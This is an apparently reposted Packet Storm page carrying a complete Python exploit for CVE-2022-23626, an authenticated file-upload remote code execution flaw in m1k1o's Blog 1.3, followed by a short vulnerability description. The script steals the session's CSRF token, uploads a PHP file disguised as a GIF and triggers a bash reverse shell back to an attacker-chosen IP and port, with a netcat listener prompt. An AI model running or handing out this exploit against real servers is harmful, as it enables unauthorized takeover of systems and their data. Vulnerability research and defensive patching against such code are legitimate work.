Security
Headlines
HeadlinesLatestCVEs

Headline

m1k1o's Blog 1.3 Remote Code Execution

m1k1o’s Blog versions 1.3 and below suffer from an authenticated remote code execution vulnerability.

Packet Storm
#csrf#vulnerability#web#mac#linux#js#git#php#rce#auth#firefox
# Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)# Date: 2022-01-06# Exploit Author: Malte V# Vendor Homepage: https://github.com/m1k1o/blog# Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip# Version: 1.3 and below# Tested on: Linux# CVE : CVE-2022-23626import argparseimport jsonimport refrom base64 import b64encodeimport requests as reqfrom bs4 import BeautifulSoupparser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog')parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False)parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost',                    required=False)parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081,                    required=False)parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999,                    required=False)parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False)parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False)args = vars(parser.parse_args())username = args['username']password = args['password']lhost_ip = args['ip']lhost_port = args['lport']address = args['url']port = args['port']url = f"http://{address}:{port}"blog_cookie = ""csrf_token = ""exploit_file_name = ""header = {    "Host": f"{address}",    "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",    "X-Requested-With": "XMLHttpRequest",    "Csrf-Token": f"{csrf_token}",    "Cookie": f"PHPSESSID={blog_cookie}"}def get_cookie(complete_url):    global blog_cookie    cookie_header = {}    if not blog_cookie:        cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}"    result = req.get(url=complete_url, headers=cookie_header)    if result.status_code == 200:        blog_cookie = result.cookies.get_dict()['PHPSESSID']        print(f'[+] Found PHPSESSID: {blog_cookie}')        grep_csrf(result)def grep_csrf(result):    global csrf_token    csrf_regex = r"[a-f0-9]{10}"    soup = BeautifulSoup(result.text, 'html.parser')    script_tag = str(soup.findAll('script')[1].contents[0])    csrf_token = re.search(csrf_regex, script_tag).group(0)    print(f'[+] Found CSRF-Token: {csrf_token}')def login(username, password):    get_cookie(url)    login_url = f"{url}/ajax.php"    login_data = f"action=login&nick={username}&pass={password}"    login_header = {        "Host": f"{address}",        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "X-Requested-With": "XMLHttpRequest",        "Csrf-Token": f"{csrf_token}",        "Cookie": f"PHPSESSID={blog_cookie}"    }    result = req.post(url=login_url, headers=login_header, data=login_data)    soup = BeautifulSoup(result.text, 'html.parser')    login_content = json.loads(soup.text)    if login_content.get('logged_in'):        print('[*] Successful login')    else:        print('[!] Bad login')def set_cookie(result):    global blog_cookie    blog_cookie = result.cookies.get_dict()['PHPSESSID']def generate_payload(command):    return f"""-----------------------------13148889121752486353560141292Content-Disposition: form-data; name="file"; filename="malicious.gif.php"Content-Type: application/x-httpd-phpGIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>;-----------------------------13148889121752486353560141292--"""def send_payload():    payload_header = {        "Host": f"{address}",        "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",        "X-Requested-With": "XMLHttpRequest",        "Csrf-Token": f"{csrf_token}",        "Cookie": f"PHPSESSID={blog_cookie}"    }    upload_url = f"http://{address}:{port}/ajax.php?action=upload_image"    command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'"    payload = generate_payload(command)    print(f"[+] Upload exploit")    result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"})    set_exploit_file_name(result.content.decode('ascii'))def set_exploit_file_name(data):    global exploit_file_name    file_regex = r"[a-zA-Z0-9]{4,5}.php"    exploit_file_name = re.search(file_regex, data).group(0)def call_malicious_php(file_name):    global header    complete_url = f"{url}/data/i/{file_name}"    print('[*] Calling reverse shell')    result = req.get(url=complete_url)def check_reverse_shell():    yes = {'yes', 'y', 'ye', ''}    no = {'no', 'n'}    choice = input("Have you got an active netcat listener (y/Y or n/N): ")    if choice in yes:        return True    elif choice in no:        print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"")        return Falsedef main():    enabled_listener = check_reverse_shell()    if enabled_listener:        login(username, password)        send_payload()        call_malicious_php(exploit_file_name)if __name__ == "__main__":    main()

Related news

CVE-2022-23626: Insufficient checking of uploaded files

m1k1o/blog is a lightweight self-hosted facebook-styled PHP blog. Errors from functions `imagecreatefrom*` and `image*` have not been checked properly. Although PHP issued warnings and the upload function returned `false`, the original file (that could contain a malicious payload) was kept on the disk. Users are advised to upgrade as soon as possible. There are no known workarounds for this issue.

Packet Storm: Latest News

Ubuntu Security Notice USN-7121-3